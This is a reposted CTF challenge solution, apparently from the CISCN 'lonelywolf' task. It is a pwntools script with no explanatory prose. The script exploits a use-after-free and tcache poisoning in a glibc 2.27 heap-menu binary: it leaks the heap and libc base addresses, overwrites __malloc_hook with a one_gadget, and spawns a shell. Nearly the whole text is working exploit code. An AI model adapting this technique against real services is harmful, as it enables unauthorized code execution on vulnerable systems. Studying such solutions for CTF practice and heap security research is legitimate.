标签：ciscn idx lonelywolf libc add base sendline recvuntil

lonelywolf

from pwn import *
context.arch = 'amd64'
context.log_level='debug'
p=process('./pwn')
libc=ELF('./libc-2.27.so')
#p=remote('124.71.235.219',25196)
def add(idx,size):
    p.recvuntil('Your choice: ')
    p.sendline('1')
    p.recvuntil('Index: ')
    p.sendline(str(idx))
    p.recvuntil('Size: ')
    p.sendline(str(size))

def edit(idx,content):
    p.recvuntil('Your choice: ')
    p.sendline('2')
    p.recvuntil('Index: ')
    p.sendline(str(idx))
    p.recvuntil('Content: ')
    p.sendline(content)

def show(idx):
    p.recvuntil('Your choice: ')
    p.sendline('3')
    p.recvuntil('Index: ')
    p.sendline(str(idx))

def free(idx):
    p.recvuntil('Your choice: ')
    p.sendline('4')
    p.recvuntil('Index: ')
    p.sendline(str(idx))

add(0,0x78)
for i in range(2):
    edit(0,'aaaaaaaa')
    free(0)
show(0)
p.recvuntil('Content: ')
heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x260
log.success('heap_base :'+hex(heap_base))
payload=p64(0)*3+p64(0x451)
add(0,0x78)
edit(0,payload)

for i in range(10):
    add(0,0x68)

free(0)
edit(0,b'p'*8)
free(0)
edit(0,p64(heap_base+0x280)+p64(0))
add(0,0x68)
add(0,0x68)
free(0)
show(0)
p.recvuntil('Content: ')
libc_base=u64(p.recvuntil('\x7f').ljust(8,b'\x00'))-96-0x10-libc.symbols['__malloc_hook']#0x3ebca0
log.success('libc_base:'+hex(libc_base))
malloc_hook=libc_base+libc.symbols['__malloc_hook']
add(0,0x70)
free(0)
edit(0,'p'*8)
free(0)
edit(0,p64(malloc_hook))
add(0,0x70)
add(0,0x70)
edit(0,p64(0x10a41c+libc_base))

#gdb.attach(p)
add(0,0x10)
p.interactive()

标签：ciscn,idx,lonelywolf,libc,add,base,sendline,recvuntil
来源： https://www.cnblogs.com/pppyyyzzz/p/14782276.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。